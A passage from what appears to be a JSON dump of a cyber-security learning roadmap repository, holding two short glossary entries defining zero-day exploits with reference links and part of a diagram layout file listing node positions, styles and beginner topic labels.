    "content": "# Zero-Day Exploits\n\nA zero-day exploit refers to a cyber attack that targets a software vulnerability which is unknown to the software vendor or the public. This means there isn't a patch available to fix the vulnerability when the attack occurs. These vulnerabilities are discovered by malicious actors and exploited before developers have a chance to address them, making them particularly dangerous.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Zero-day Attack?](https://www.kaspersky.com/resource-center/definitions/zero-day-exploit)\n- [@video@What is a Zero Day Threat?](https://www.youtube.com/watch?v=w5MV1Jeo76g)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/zero-day@zqRaMmqcLfx400kJ-h0LO.md",
    "content": "# Zero-Day Exploits\n\nA zero-day exploit targets a software vulnerability that is unknown to the vendor or developer. Because the vulnerability is newly discovered (or unknown to those who could fix it), there is no patch or fix available. This leaves systems vulnerable to attack from the moment the vulnerability is discovered and exploited, until a patch is developed and deployed. These exploits are highly prized by attackers and can be very damaging due to the element of surprise and lack of immediate defense.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Zero-day Attack?](https://www.kaspersky.com/resource-center/definitions/zero-day-exploit)\n- [@video@What is a Zero Day Threat?](https://www.youtube.com/watch?v=w5MV1Jeo76g)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/cyber-security.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"Ua8SDkyd9VtTqjrh17B9t\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -169.6044451290735,\n        \"y\": 4263.724035563796\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 65,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 65\n      },\n      \"positionAbsolute\": {\n        \"x\": -169.6044451290735,\n        \"y\": 4263.724035563796\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 65\n      }\n    },\n    {\n      \"id\": \"0chjO1tLOWpFVXk3OEpgN\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 335.74860459852323,\n        \"y\": 3922.0539129945323\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 283,\n      \"height\": 219,\n      \"style\": {\n        \"width\": 283,\n        \"height\": 219\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 335.74860459852323,\n        \"y\": 3922.0539129945323\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 283,\n        \"height\": 219\n      }\n    },\n    {\n      \"id\": \"sxKISh5cBkQYtiLknLJsM\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 335.74860459852323,\n        \"y\": 3816.439557462727\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 283,\n      \"height\": 110,\n      \"style\": {\n        \"width\": 283,\n        \"height\": 110\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 335.74860459852323,\n        \"y\": 3816.439557462727\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 283,\n        \"height\": 110\n      }\n    },\n    {\n      \"id\": \"YyqMiJgEQTkM8snOlZQVr\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 336.7328119806167,\n        \"y\": 3711.814113925716\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 282,\n      \"height\": 109,\n      \"style\": {\n        \"width\": 282,\n        \"height\": 109\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 336.7328119806167,\n        \"y\": 3711.814113925716\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 282,\n        \"height\": 109\n      }\n    },\n    {\n      \"id\": \"QKWwtq6kqGgcMh63Zy4Va\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 336.14550367389484,\n        \"y\": 3605.5540952888614\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 282,\n      \"height\": 109,\n      \"style\": {\n        \"width\": 282,\n        \"height\": 109\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 336.14550367389484,\n        \"y\": 3605.5540952888614\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 282,\n        \"height\": 109\n      }\n    },\n    {\n      \"id\": \"FNyo1X9BP0v8GnBhPYXDR\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -235.57902321451058,\n        \"y\": 3605.863216999975\n      },\n      \"width\": 576,\n      \"height\": 291,\n      \"style\": {\n        \"width\": 576,\n        \"height\": 291\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -235.57902321451058,\n        \"y\": 3605.863216999975\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 576,\n        \"height\": 291\n      }\n    },\n    {\n      \"id\": \"DfC6Qg-kj35sKLoXSuaD7\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 129.0692426643592,\n        \"y\": 1672.9704602802167\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 129.0692426643592,\n        \"y\": 1672.9704602802167\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"6su23I9VvPjUw-3QPrcEo\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -211.58651732554733,\n        \"y\": 1672.9704602802167\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"DfC6Qg-kj35sKLoXSuaD7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -211.58651732554733,\n        \"y\": 1672.9704602802167\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"hQ2uraeJ3zerDvEHMleJe\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -386.28240093098316,\n        \"y\": 1662.9704602802167\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 1056,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 1056,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -386.28240093098316,\n        \"y\": 1662.9704602802167\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 1056,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"OcvcB4rWdJY1Xbe0A0Qwx\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 615.7175990690168,\n        \"y\": 1254.8697484068446\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        },\n        \"oldId\": \"hQ2uraeJ3zerDvEHMleJe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 51,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 51,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 615.7175990690168,\n        \"y\": 1254.8697484068446\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 51,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"GEp7BfyOSkS-8i3P4jLCj\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 615.7175990690168,\n        \"y\": 595.1903573629068\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        },\n        \"oldId\": \"hQ2uraeJ3zerDvEHMleJe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 51,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 51,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 615.7175990690168,\n        \"y\": 595.1903573629068\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 51,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"GAUtI7Z6Xblg6yZctu-wz\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -67.22621057004233,\n        \"y\": 1257.0411782062843\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 51,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 51,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -67.22621057004233,\n        \"y\": 1257.0411782062843\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 51,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"A_c4jiw7VKOHek-PZTrqu\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -389.8275709952726,\n        \"y\": 1415.4911298788138\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 325,\n      \"height\": 180,\n      \"style\": {\n        \"width\": 325,\n        \"height\": 180\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -389.8275709952726,\n        \"y\": 1415.4911298788138\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 325,\n        \"height\": 180\n      }\n    },\n    {\n      \"id\": \"4_8vkR5-Zgzx5l9vbEpM0\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -389.8275709952726,\n        \"y\": 1040.180495784059\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 325,\n      \"height\": 381,\n      \"style\": {\n        \"width\": 325,\n        \"height\": 381\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -389.8275709952726,\n        \"y\": 1040.180495784059\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 325,\n        \"height\": 381\n      }\n    },\n    {\n      \"id\": \"bmLWcL3CqdiLYUdmKi93B\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -389.77990812357274,\n        \"y\": 876.360801242143\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 325,\n      \"height\": 166,\n      \"style\": {\n        \"width\": 325,\n        \"height\": 166\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -389.77990812357274,\n        \"y\": 876.360801242143\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 325,\n        \"height\": 166\n      }\n    },\n    {\n      \"id\": \"g9i4uhgcbHRGZ0ttxfoBG\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -389.77990812357274,\n        \"y\": 719.5945140721572\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 325,\n      \"height\": 163,\n      \"style\": {\n        \"width\": 325,\n        \"height\": 163\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -389.77990812357274,\n        \"y\": 719.5945140721572\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 325,\n        \"height\": 163\n      }\n    },\n    {\n      \"id\": \"vpVkdDBnrOF3NrXEw8Hpn\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -21.08169683114272,\n        \"y\": 1106.9597557165084\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 300,\n      \"height\": 111,\n      \"style\": {\n        \"width\": 300,\n        \"height\": 111\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -21.08169683114272,\n        \"y\": 1106.9597557165084\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 300,\n        \"height\": 111\n      }\n    },\n    {\n      \"id\": \"EDAwfCY7aqdDo-VT-k-Js\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -21.08169683114272,\n        \"y\": 891.3400785145216\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 300,\n      \"height\": 221,\n      \"style\": {\n        \"width\": 300,\n        \"height\": 221\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -21.08169683114272,\n        \"y\": 891.3400785145216\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 300,\n        \"height\": 221\n      }\n    },\n    {\n      \"id\": \"L8q17C-usuz7mo1PqDWld\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -21.08169683114272,\n        \"y\": 560.1561270232144\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 300,\n      \"height\": 335,\n      \"style\": {\n        \"width\": 300,\n        \"height\": 335\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -21.08169683114272,\n        \"y\": 560.1561270232144\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 300,\n        \"height\": 335\n      }\n    },\n    {\n      \"id\": \"e7uabnTNmXPwm-qfDu7Hl\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 491.2039980365524,\n        \"y\": 1259.8697484068446\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 91,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 91\n      },\n      \"positionAbsolute\": {\n        \"x\": 491.2039980365524,\n        \"y\": 1259.8697484068446\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 91\n      }\n    },\n    {\n      \"id\": \"S_kvx3o0Astz09U2X6RAi\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 570.2039980365523,\n        \"y\": 537.1854223279927\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"yGOolcb7t4cXVyg8q0MSF\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 120,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 120\n      },\n      \"positionAbsolute\": {\n        \"x\": 570.2039980365523,\n        \"y\": 537.1854223279927\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 120\n      }\n    },\n    {\n      \"id\": \"aTv22cTfxUAc0mlwUMhfN\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 404.70399803655243,\n        \"y\": 537.1854223279927\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"S_kvx3o0Astz09U2X6RAi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 120,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 120\n      },\n      \"positionAbsolute\": {\n        \"x\": 404.70399803655243,\n        \"y\": 537.1854223279927\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 120\n      }\n    },\n    {\n      \"id\": \"x0yoSjQ3wyxYMYYQD58em\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 491.20399803655243,\n        \"y\": 538.7628462321036\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"S_kvx3o0Astz09U2X6RAi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 120,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 120\n      },\n      \"positionAbsolute\": {\n        \"x\": 491.20399803655243,\n        \"y\": 538.7628462321036\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 120\n      }\n    },\n    {\n      \"id\": \"-EnxQFVTyS3p-gp0QyPCd\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 309.0947456767392,\n        \"y\": 657.1854223279928\n      },\n      \"width\": 334,\n      \"height\": 482,\n      \"style\": {\n        \"width\": 334,\n        \"height\": 482\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 309.0947456767392,\n        \"y\": 657.1854223279928\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 334,\n        \"height\": 482\n      }\n    },\n    {\n      \"id\": \"cufgzgnnTxPucwhSz3BQo\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 119.21759906901679,\n        \"y\": 88.17193234556692\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 72,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 72\n      },\n      \"positionAbsolute\": {\n        \"x\": 119.21759906901679,\n        \"y\": 88.17193234556692\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 72\n      }\n    },\n    {\n      \"width\": 226,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": 17.217599069016785,\n        \"y\": -51.41178951309303\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cyber Security\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 17.217599069016785,\n        \"y\": -51.41178951309303\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 216,\n      \"height\": 49,\n      \"id\": \"oimYzZYFXKjgvc7D4c-2u\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 21.717599069016785,\n        \"y\": 72.25104790092138\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Fundamental IT Skills\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_hYN0gEi9BL24nptEtXWU\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 21.717599069016785,\n        \"y\": 72.25104790092138\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Y-00drWVavq2B1BBpoOkN\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 119.21759906901679,\n        \"y\": -129.45865507923247\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 76,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 76\n      },\n      \"positionAbsolute\": {\n        \"x\": 119.21759906901679,\n        \"y\": -129.45865507923247\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 76\n      }\n    },\n    {\n      \"id\": \"Ih0YZt8u9vDwYo8y1t41n\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 24.170431619340548,\n        \"y\": 160.9217814037986\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Computer Hardware Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 328,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 328,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 24.170431619340548,\n        \"y\": 160.9217814037986\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 328,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"F1QVCEmGkgvz-_H5lTxY2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 24.170431619340548,\n        \"y\": 213.9217814037986\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Connection Types and their function\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 328,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 328,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 24.170431619340548,\n        \"y\": 213.9217814037986\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 328,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pJUhQin--BGMuXHPwx3JJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 24.170431619340548,\n        \"y\": 266.9217814037986\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OS-Independent Troubleshooting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 328,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 328,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 24.170431619340548,\n        \"y\": 266.9217814037986\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 328,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_7RjH4Goi0x6Noy6za0rP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 24.170431619340548,\n        \"y\": 319.9217814037986\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand Basics of Popular Suites\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 328,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 328,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 24.170431619340548,\n        \"y\": 319.9217814037986\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 328,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"T0aU8ZQGShmF9uXhWY4sD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 24.170431619340548,\n        \"y\": 372.9217814037986\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basics of Computer Networking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 328,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 328,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 24.170431619340548,\n        \"y\": 372.9217814037986\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 328,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hwAUFLYpc_ftCfXq95dey\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 426.45762909207644,\n        \"y\": 185.17193234556692\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"NFC\",\n        \"style\": {\n          \"fontSize\": 17,\n          